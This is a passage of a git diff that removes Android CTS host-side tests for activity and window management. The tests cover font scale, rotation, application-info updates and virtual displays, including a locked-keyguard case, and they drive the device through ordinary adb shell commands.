-        } else if (newDeviceRotation != initialRotation) {
-            CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support user rotation "
-                    + "mode. Not continuing the rotation checks.");
-            return;
-        }
-
-        for (int rotation = 0; rotation < 4; rotation += rotationStep) {
-            final String logSeparator = clearLogcat();
-            setDeviceRotation(rotation);
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-            assertRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange, logSeparator);
-        }
-    }
-
-    private void testChangeFontScale(
-            String activityName, boolean relaunch) throws Exception {
-        launchActivity(activityName);
-        final String[] waitForActivitiesVisible = new String[] {activityName};
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        setFontScale(1.0f);
-        mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-
-        final int densityDpi = getGlobalDensityDpi();
-
-        for (float fontScale = 0.85f; fontScale <= 1.3f; fontScale += 0.15f) {
-            final String logSeparator = clearLogcat();
-            setFontScale(fontScale);
-            mAmWmState.computeState(mDevice, waitForActivitiesVisible);
-            assertRelaunchOrConfigChanged(activityName, relaunch ? 1 : 0, relaunch ? 0 : 1,
-                    logSeparator);
-
-            // Verify that the display metrics are updated, and therefore the text size is also
-            // updated accordingly.
-            assertExpectedFontPixelSize(activityName,
-                    scaledPixelsToPixels(EXPECTED_FONT_SIZE_SP, fontScale, densityDpi),
-                    logSeparator);
-        }
-    }
-
-    /**
-     * Test updating application info when app is running. An activity with matching package name
-     * must be recreated and its asset sequence number must be incremented.
-     */
-    public void testUpdateApplicationInfo() throws Exception {
-        final String firstLogSeparator = clearLogcat();
-
-        // Launch an activity that prints applied config.
-        launchActivity(TEST_ACTIVITY_NAME);
-        final int assetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, firstLogSeparator);
-
-        final String logSeparator = clearLogcat();
-        // Update package info.
-        executeShellCommand("am update-appinfo all " + componentName);
-        mAmWmState.waitForWithAmState(mDevice, (amState) -> {
-            // Wait for activity to be resumed and asset seq number to be updated.
-            try {
-                return readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator) == assetSeq + 1
-                        && amState.hasActivityState(TEST_ACTIVITY_NAME, STATE_RESUMED);
-            } catch (Exception e) {
-                logE("Error waiting for valid state: " + e.getMessage());
-                return false;
-            }
-        }, "Waiting asset sequence number to be updated and for activity to be resumed.");
-
-        // Check if activity is relaunched and asset seq is updated.
-        assertRelaunchOrConfigChanged(TEST_ACTIVITY_NAME, 1 /* numRelaunch */,
-                0 /* numConfigChange */, logSeparator);
-        final int newAssetSeq = readAssetSeqNumber(TEST_ACTIVITY_NAME, logSeparator);
-        assertEquals("Asset sequence number must be incremented.", assetSeq + 1, newAssetSeq);
-    }
-
-    private static final Pattern sConfigurationPattern = Pattern.compile(
-            "(.+): Configuration: \\{(.*) as.(\\d+)(.*)\\}");
-
-    /** Read asset sequence number in last applied configuration from logs. */
-    private int readAssetSeqNumber(String activityName, String logSeparator) throws Exception {
-        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            final Matcher matcher = sConfigurationPattern.matcher(line);
-            if (matcher.matches()) {
-                final String assetSeqNumber = matcher.group(3);
-                try {
-                    return Integer.valueOf(assetSeqNumber);
-                } catch (NumberFormatException e) {
-                    // Ignore, asset seq number is not printed when not set.
-                }
-            }
-        }
-        return 0;
-    }
-
-    // Calculate the scaled pixel size just like the device is supposed to.
-    private static int scaledPixelsToPixels(float sp, float fontScale, int densityDpi) {
-        final int DEFAULT_DENSITY = 160;
-        float f = densityDpi * (1.0f / DEFAULT_DENSITY) * fontScale * sp;
-        return (int) ((f >= 0) ? (f + 0.5f) : (f - 0.5f));
-    }
-
-    private static Pattern sDeviceDensityPattern =
-            Pattern.compile(".*?-(l|m|tv|h|xh|xxh|xxxh|\\d+)dpi-.*?");
-
-    private int getGlobalDensityDpi() throws Exception {
-        final String result = getDevice().executeShellCommand("am get-config");
-        final String[] lines = result.split("\n");
-        if (lines.length < 1) {
-            throw new IllegalStateException("Invalid config returned from device: " + result);
-        }
-
-        final Matcher matcher = sDeviceDensityPattern.matcher(lines[0]);
-        if (!matcher.matches()) {
-            throw new IllegalStateException("Invalid config returned from device: " + lines[0]);
-        }
-        switch (matcher.group(1)) {
-            case "l": return 120;
-            case "m": return 160;
-            case "tv": return 213;
-            case "h": return 240;
-            case "xh": return 320;
-            case "xxh": return 480;
-            case "xxxh": return 640;
-        }
-        return Integer.parseInt(matcher.group(1));
-    }
-
-    private static final Pattern sFontSizePattern = Pattern.compile("^(.+): fontPixelSize=(.+)$");
-
-    /** Read the font size in the last log line. */
-    private void assertExpectedFontPixelSize(String activityName, int fontPixelSize,
-            String logSeparator) throws Exception {
-        final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            final Matcher matcher = sFontSizePattern.matcher(line);
-            if (matcher.matches()) {
-                assertEquals("Expected font pixel size does not match", fontPixelSize,
-                        Integer.parseInt(matcher.group(2)));
-                return;
-            }
-        }
-        fail("No fontPixelSize reported from activity " + activityName);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
deleted file mode 100644
index 1e8c5a1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import static android.server.cts.StateLogger.logE;
-
-/**
- * Display tests that require a locked keyguard.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayLockedKeyguardTests
- */
-public class ActivityManagerDisplayLockedKeyguardTests extends ActivityManagerDisplayTestBase {
-
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setLockCredential();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        try {
-            tearDownLockCredentials();
-        } catch (DeviceNotAvailableException e) {
-            logE(e.getMessage());
-        }
-        super.tearDown();
-    }
-
-    /**
-     * Test that virtual display content is hidden when device is locked.
-     */
-    public void testVirtualDisplayHidesContentWhenLocked() throws Exception {
-        if (!supportsMultiDisplay() || !isHandheld()) { return; }
-
-        // Create new usual virtual display.
-        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
-        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-
-        // Launch activity on new secondary display.
-        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-
-        // Lock the device.
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_STOPPED);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false /* visible */);
-
-        // Unlock and check if visibility is back.
-        unlockDeviceWithCredential();
-        mAmWmState.waitForKeyguardGone(mDevice);
-        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
-        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
deleted file mode 100644
index cc0a257..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
+++ /dev/null
@@ -1,508 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Base class for ActivityManager display tests.
- *
- * @see ActivityManagerDisplayTests
- * @see ActivityManagerDisplayLockedKeyguardTests
- */
-public class ActivityManagerDisplayTestBase extends ActivityManagerTestBase {
-
-    static final int CUSTOM_DENSITY_DPI = 222;
-
-    private static final String DUMPSYS_ACTIVITY_PROCESSES = "dumpsys activity processes";
-    private static final String DUMPSYS_DISPLAY = "dumpsys display";
-    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
-    private static final int INVALID_DENSITY_DPI = -1;
-
-    private boolean mVirtualDisplayCreated;
-    private boolean mDisplaySimulated;
-
-    /** Temp storage used for parsing. */
-    final LinkedList<String> mDumpLines = new LinkedList<>();
-    final LinkedList<String> mAltDumpLines = new LinkedList<>();
-
-    @Override
-    protected void tearDown() throws Exception {
-        try {
-            destroyVirtualDisplays();
-            destroySimulatedDisplays();
-        } catch (DeviceNotAvailableException e) {
-            logE(e.getMessage());
-        }
-        super.tearDown();
-    }
-
-    /** Contains the configurations applied to attached displays. */
-    static final class DisplayState {
-        int mDisplayId;
-        String mOverrideConfig;
-        String mDisplayViewportId;
-
-        private DisplayState(int displayId, String overrideConfig, String uniqueId) {
-            mDisplayId = displayId;
-            mOverrideConfig = overrideConfig;
-            mDisplayViewportId = uniqueId;
-        }
-
-        private int getWidth() {
-            final String[] configParts = mOverrideConfig.split(" ");
-            for (String part : configParts) {
-                if (part.endsWith("dp") && part.startsWith("w")) {
-                    final String widthString = part.substring(1, part.length() - 3);
-                    return Integer.parseInt(widthString);
-                }
-            }
-
-            return -1;
-        }
-
-        private int getHeight() {
-            final String[] configParts = mOverrideConfig.split(" ");
-            for (String part : configParts) {
-                if (part.endsWith("dp") && part.startsWith("h")) {
-                    final String heightString = part.substring(1, part.length() - 3);
-                    return Integer.parseInt(heightString);
-                }
-            }
-
-            return -1;
-        }
-
-        int getDpi() {
-            final String[] configParts = mOverrideConfig.split(" ");
-            for (String part : configParts) {
-                if (part.endsWith("dpi")) {
-                    final String densityDpiString = part.substring(0, part.length() - 3);
-                    return Integer.parseInt(densityDpiString);
-                }
-            }
-
-            return -1;
-        }
-
-        String getDisplayViewPortId() {
-            return mDisplayViewportId;
-        }
-    }
-
-    /** Contains the configurations applied to attached displays. */
-    static final class ReportedDisplays {
-        private static final Pattern sGlobalConfigurationPattern =
-                Pattern.compile("mGlobalConfiguration: (\\{.*\\})");
-        private static final Pattern sDisplayOverrideConfigurationsPattern =
-                Pattern.compile("Display override configurations:");
-        private static final Pattern sDisplayConfigPattern =
-                Pattern.compile("(\\d+): (\\{.*\\})");
-        private static final Pattern sVirtualTouchViewportPattern =
-                Pattern.compile("mVirtualTouchViewports.*displayId=(\\d+), uniqueId='([^']+)', .*");
-
-        String mGlobalConfig;
-        private Map<Integer, DisplayState> mDisplayStates = new HashMap<>();
-
-        static ReportedDisplays create(LinkedList<String> activityProcessDump,
-                LinkedList<String> displayDump) {
-            final ReportedDisplays result = new ReportedDisplays();
-            HashMap<String, String> virtualUniqueIdMap = new HashMap<String, String>();
-
-            while (!displayDump.isEmpty()) {
-                final String line = displayDump.pop().trim();
-
-                Matcher matcher = sVirtualTouchViewportPattern.matcher(line);
-                if (matcher.matches()) {
-                    virtualUniqueIdMap.put(matcher.group(1), matcher.group(2));
-                }
-            }
-
-            while (!activityProcessDump.isEmpty()) {
-                final String line = activityProcessDump.pop().trim();
-
-
-                Matcher actMatcher = sDisplayOverrideConfigurationsPattern.matcher(line);
-                if (actMatcher.matches()) {
-                    log(line);
-                    while (ReportedDisplays.shouldContinueExtracting(activityProcessDump,
-                              sDisplayConfigPattern)) {
-                        final String displayOverrideConfigLine = activityProcessDump.pop().trim();
-                        log(displayOverrideConfigLine);
-                        actMatcher = sDisplayConfigPattern.matcher(displayOverrideConfigLine);
-                        actMatcher.matches();
-                        final String tempUniqueId = "local:" + actMatcher.group(1);
-                        final Integer displayId = Integer.valueOf(actMatcher.group(1));
-                        // Default unique ids for non virtual display.
-                        final String uniqueId =
-                                (virtualUniqueIdMap.containsKey(actMatcher.group(1)))
-                                ? virtualUniqueIdMap.get(actMatcher.group(1)) : tempUniqueId;
-                        result.mDisplayStates.put(displayId,
-                                new DisplayState(displayId, actMatcher.group(2), uniqueId));
-                    }
-                    continue;
-                }
-
-                actMatcher = sGlobalConfigurationPattern.matcher(line);
-                if (actMatcher.matches()) {
-                    log(line);
-                    result.mGlobalConfig = actMatcher.group(1);
-                }
-            }
-
-            return result;
-        }
-
-        /** Check if next line in dump matches the pattern and we should continue extracting. */
-        static boolean shouldContinueExtracting(LinkedList<String> dump, Pattern matchingPattern) {
-            if (dump.isEmpty()) {
-                return false;
-            }
-
-            final String line = dump.peek().trim();
-            return matchingPattern.matcher(line).matches();
-        }
-
-        DisplayState getDisplayState(int displayId) {
-            return mDisplayStates.get(displayId);
-        }
-
-        int getNumberOfDisplays() {
-            return mDisplayStates.size();
-        }
-
-        /** Return the display state with width, height, dpi */
-        DisplayState getDisplayState(int width, int height, int dpi) {
-            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
-                final DisplayState ds = entry.getValue();
-                if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == dpi
-                        && ds.getWidth() == width && ds.getHeight() == height) {
-                    return ds;
-                }
-            }
-            return null;
-        }
-
-        /** Return the display state with the given unique id */
-        DisplayState getDisplayState(String viewportId) {
-            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
-                final DisplayState ds = entry.getValue();
-                if (ds.mDisplayViewportId.equals(viewportId)) {
-                    return ds;
-                }
-            }
-            return null;
-        }
-
-        /** Check if reported state is valid. */
-        boolean isValidState(int expectedDisplayCount) {
-            if (mDisplayStates.size() != expectedDisplayCount) {
-                return false;
-            }
-
-            for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
-                final DisplayState ds = entry.getValue();
-                if (ds.mDisplayId != DEFAULT_DISPLAY_ID && ds.getDpi() == -1) {
-                    return false;
-                }
-            }
-            return true;
-        }
-    }
-
-    ReportedDisplays getDisplaysStates() throws DeviceNotAvailableException {
-        // Parse dumpsys activity processes.
-        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(DUMPSYS_ACTIVITY_PROCESSES, outputReceiver);
-        String dump = outputReceiver.getOutput();
-        mDumpLines.clear();
-
-        Collections.addAll(mDumpLines, dump.split("\\n"));
-
-        // Parse dumpsys display
-        final CollectingOutputReceiver outputReceiverNew = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(DUMPSYS_DISPLAY, outputReceiverNew);
-        String dumpNew = outputReceiverNew.getOutput();
-        mAltDumpLines.clear();
-
-        Collections.addAll(mAltDumpLines, dumpNew.split("\\n"));
-
-        return ReportedDisplays.create(mDumpLines, mAltDumpLines);
-    }
-
-    /** Find the display that was not originally reported in oldDisplays and added in newDisplays */
-    protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
-            ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
-        final ArrayList<DisplayState> displays = new ArrayList();
-
-        for (Integer displayId : newDisplays.mDisplayStates.keySet()) {
-            if (!oldDisplays.mDisplayStates.containsKey(displayId)) {
-                displays.add(newDisplays.getDisplayState(displayId));
-            }
-        }
-
-        return displays;
-    }
-
-    /**
-     * Create new virtual display.
-     * @param densityDpi provide custom density for the display.
-     * @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
-     *                            {@link LaunchingActivity} on primary display.
-     * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
-     *                                    keyguard.
-     * @param mustBeCreated should assert if the display was or wasn't created.
-     * @param publicDisplay make display public.
-     * @param resizeDisplay should resize display when surface size changes.
-     * @param launchActivity should launch test activity immediately after display creation.
-     * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
-     * @throws Exception
-     */
-    private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
-            boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
-            boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
-            throws Exception {
-        // Start an activity that is able to create virtual displays.
-        if (launchInSplitScreen) {
-            getLaunchActivityBuilder().setToSide(true)
-                    .setTargetActivityName(VIRTUAL_DISPLAY_ACTIVITY).execute();
-        } else {
-            launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
-        }
-        mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
-                false /* compareTaskAndStackBounds */);
-        final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
-
-        // Create virtual display with custom density dpi.
-        executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
-                publicDisplay, resizeDisplay, launchActivity, displayCount));
-        mVirtualDisplayCreated = true;
-
-        return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
-    }
-
-    /**
-     * Simulate new display.
-     * @param densityDpi provide custom density for the display.
-     * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
-     */
-    private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
-            throws Exception {
-        final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
-
-        // Create virtual display with custom density dpi.
-        executeShellCommand(getSimulateDisplayCommand(densityDpi));
-        mDisplaySimulated = true;
-
-        return assertAndGetNewDisplays(1, originalDs);
-    }
-
-    /**
-     * Wait for desired number of displays to be created and get their properties.
-     * @param newDisplayCount expected display count, -1 if display should not be created.
-     * @param originalDS display states before creation of new display(s).
-     */
-    private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
-            int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
-            throws Exception {
-        final int originalDisplayCount = originalDS.mDisplayStates.size();
-
-        // Wait for the display(s) to be created and get configurations.
-        final ActivityManagerDisplayTests.ReportedDisplays ds =
-                getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
-        if (newDisplayCount != -1) {
-            assertEquals("New virtual display(s) must be created",
-                    originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
-        } else {
-            assertEquals("New virtual display must not be created",
-                    originalDisplayCount, ds.mDisplayStates.size());
-            return null;
-        }
-
-        // Find the newly added display(s).
-        final List<ActivityManagerDisplayTests.DisplayState> newDisplays
-                = findNewDisplayStates(originalDS, ds);
-        assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
-
-        return newDisplays;
-    }
-
-    /**
-     * Destroy existing virtual display.
-     */
-    void destroyVirtualDisplays() throws Exception {
-        if (mVirtualDisplayCreated) {
-            executeShellCommand(getDestroyVirtualDisplayCommand());
-            mVirtualDisplayCreated = false;
-        }
-    }
-
-    /**
-     * Destroy existing simulated display.
-     */
-    private void destroySimulatedDisplays() throws Exception {
-        if (mDisplaySimulated) {
-            executeShellCommand(getDestroySimulatedDisplayCommand());
-            mDisplaySimulated = false;
-        }
-    }
-
-    static class VirtualDisplayBuilder {
-        private final ActivityManagerDisplayTestBase mTests;
-
-        private int mDensityDpi = CUSTOM_DENSITY_DPI;
-        private boolean mLaunchInSplitScreen = false;
-        private boolean mCanShowWithInsecureKeyguard = false;
-        private boolean mPublicDisplay = false;
-        private boolean mResizeDisplay = true;
-        private String mLaunchActivity = null;
-        private boolean mSimulateDisplay = false;
-        private boolean mMustBeCreated = true;
-
-        public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
-            mTests = tests;
-        }
-
-        public VirtualDisplayBuilder setDensityDpi(int densityDpi) {
-            mDensityDpi = densityDpi;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setLaunchInSplitScreen(boolean launchInSplitScreen) {
-            mLaunchInSplitScreen = launchInSplitScreen;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
-                boolean canShowWithInsecureKeyguard) {
-            mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
-            mPublicDisplay = publicDisplay;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setResizeDisplay(boolean resizeDisplay) {
-            mResizeDisplay = resizeDisplay;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setLaunchActivity(String launchActivity) {
-            mLaunchActivity = launchActivity;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
-            mSimulateDisplay = simulateDisplay;
-            return this;
-        }
-
-        public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
-            mMustBeCreated = mustBeCreated;
-            return this;
-        }
-
-        public DisplayState build() throws Exception {
-            final List<DisplayState> displays = build(1);
-            return displays != null && !displays.isEmpty() ? displays.get(0) : null;
-        }
-
-        public List<DisplayState> build(int count) throws Exception {
-            if (mSimulateDisplay) {
-                return mTests.simulateDisplay(mDensityDpi);
-            }
-
-            return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
-                    mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
-                    mLaunchActivity, count);
-        }
-    }
-
-    private static String getCreateVirtualDisplayCommand(int densityDpi,
-            boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
-            String launchActivity, int displayCount) {
-        final StringBuilder commandBuilder
-                = new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
-        commandBuilder.append(" -f 0x20000000");
-        commandBuilder.append(" --es command create_display");
-        if (densityDpi != INVALID_DENSITY_DPI) {
-            commandBuilder.append(" --ei density_dpi ").append(densityDpi);
-        }
-        commandBuilder.append(" --ei count ").append(displayCount);
-        commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
-                .append(canShowWithInsecureKeyguard);
-        commandBuilder.append(" --ez public_display ").append(publicDisplay);
-        commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
-        if (launchActivity != null) {
-            commandBuilder.append(" --es launch_target_activity ").append(launchActivity);
-        }
-        return commandBuilder.toString();
-    }
-
-    private static String getDestroyVirtualDisplayCommand() {
-        return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
-                " --es command destroy_display";
-    }
-
-    private static String getSimulateDisplayCommand(int densityDpi) {
-        return "settings put global overlay_display_devices 1024x768/" + densityDpi;
-    }
-
-    private static String getDestroySimulatedDisplayCommand() {
-        return "settings delete global overlay_display_devices";
-    }
-
-    /** Wait for provided number of displays and report their configurations. */
-    ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
-            throws DeviceNotAvailableException {
-        ReportedDisplays ds = getDisplaysStates();
-
-        int retriesLeft = 5;
-        while (!ds.isValidState(expectedDisplayCount) && retriesLeft-- > 0) {
-            log("***Waiting for the correct number of displays...");
-            try {
-                Thread.sleep(1000);
-            } catch (InterruptedException e) {
-                log(e.toString());
-            }
-            ds = getDisplaysStates();
-        }
-
-        return ds;
-    }
-
-    /** Checks if the device supports multi-display. */
-    boolean supportsMultiDisplay() throws Exception {
-        return hasDeviceFeature("android.software.activities_on_secondary_displays");
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
deleted file mode 100644
index aaa5593..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ /dev/null
@@ -1,2051 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-import android.server.displayservice.DisplayHelper;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
-import static android.server.cts.ActivityManagerState.STATE_PAUSED;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-import static android.server.cts.ActivityManagerState.STATE_STOPPED;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerDisplayTests
- */
-public class ActivityManagerDisplayTests extends ActivityManagerDisplayTestBase {
-    private static final String WM_SIZE = "wm size";
-    private static final String WM_DENSITY = "wm density";
-
-    private static final String TEST_ACTIVITY_NAME = "TestActivity";
-    private static final String VIRTUAL_DISPLAY_ACTIVITY = "VirtualDisplayActivity";
-    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
-    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
-    private static final String SECOND_ACTIVITY_NAME = "SecondActivity";
-    private static final String SECOND_ACTIVITY_NO_EMBEDDING_NAME = "SecondActivityNoEmbedding";
-    private static final String THIRD_ACTIVITY_NAME = "ThirdActivity";
-    private static final String VR_TEST_ACTIVITY_NAME = "VrTestActivity";
-    private static final String SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME = "ShowWhenLockedAttrActivity";
-    private static final String SECOND_PACKAGE_NAME = "android.server.cts.second";
-    private static final String THIRD_PACKAGE_NAME = "android.server.cts.third";
-    private static final String VR_UNIQUE_DISPLAY_ID =
-            "virtual:android:277f1a09-b88d-4d1e-8716-796f114d080b";
-    private static final String VR_STANDALONE_DEVICE_PROPERTY = "ro.boot.vr";
-
-    private DisplayHelper mExternalDisplayHelper;
-
-    /** Physical display metrics and overrides in the beginning of the test. */
-    private ReportedDisplayMetrics mInitialDisplayMetrics;
-
-    // Set on standalone VR devices to indicate that the VR virtual display is the display where 2d
-    // activities are launched.
-    private boolean mVrHeadset;
-    private int mVrVirtualDisplayId;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInitialDisplayMetrics = getDisplayMetrics();
-        mVrHeadset = isVrHeadset();
-        final DisplayState vrDisplay = getDisplaysStates().getDisplayState(VR_UNIQUE_DISPLAY_ID);
-        mVrVirtualDisplayId = mVrHeadset ? vrDisplay.mDisplayId : -1;
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        try {
-            enablePersistentVrMode(false);
-            restoreDisplayMetricsOverrides();
-            if (mExternalDisplayHelper != null) {
-                mExternalDisplayHelper.releaseDisplay();
-                mExternalDisplayHelper = null;
-            }
-            setPrimaryDisplayState(true);
-        } catch (DeviceNotAvailableException e) {
-            logE(e.getMessage());
-        }
-        super.tearDown();
-    }
-
-    private void enablePersistentVrMode(boolean enabled) throws Exception {
-        if (enabled) {
-            executeShellCommand("setprop vr_virtualdisplay true");
-            executeShellCommand("vr set-persistent-vr-mode-enabled true");
-        } else {
-            executeShellCommand("vr set-persistent-vr-mode-enabled false");
-            executeShellCommand("setprop vr_virtualdisplay false");
-        }
-    }
-
-    private boolean isVrHeadset() {
-        try {
-            if (mDevice.getProperty(VR_STANDALONE_DEVICE_PROPERTY).equals("1")) {
-              return true;
-            }
-
-            return false;
-        } catch (DeviceNotAvailableException e) {
-            return false;
-        }
-    }
-
-    private void restoreDisplayMetricsOverrides() throws Exception {
-        if (mInitialDisplayMetrics.sizeOverrideSet) {
-            executeShellCommand(WM_SIZE + " " + mInitialDisplayMetrics.overrideWidth + "x"
